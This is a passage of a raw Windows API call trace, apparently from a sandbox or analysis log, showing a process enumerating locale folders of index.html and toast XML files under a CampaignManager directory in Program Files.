lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.601] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.601] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.601] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.602] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.602] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.603] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0183.603] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.604] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.604] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9f19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.604] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.604] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.604] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.604] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.605] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.605] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0183.605] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.606] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.606] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.606] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.607] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.607] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.607] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.607] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.608] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.608] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0183.608] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.609] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.609] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.610] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.610] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.610] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.610] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.610] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.611] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.611] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0183.611] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.198] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.198] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.198] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.198] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.198] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.198] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.199] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.199] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0184.200] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.201] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.201] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.201] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.201] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, 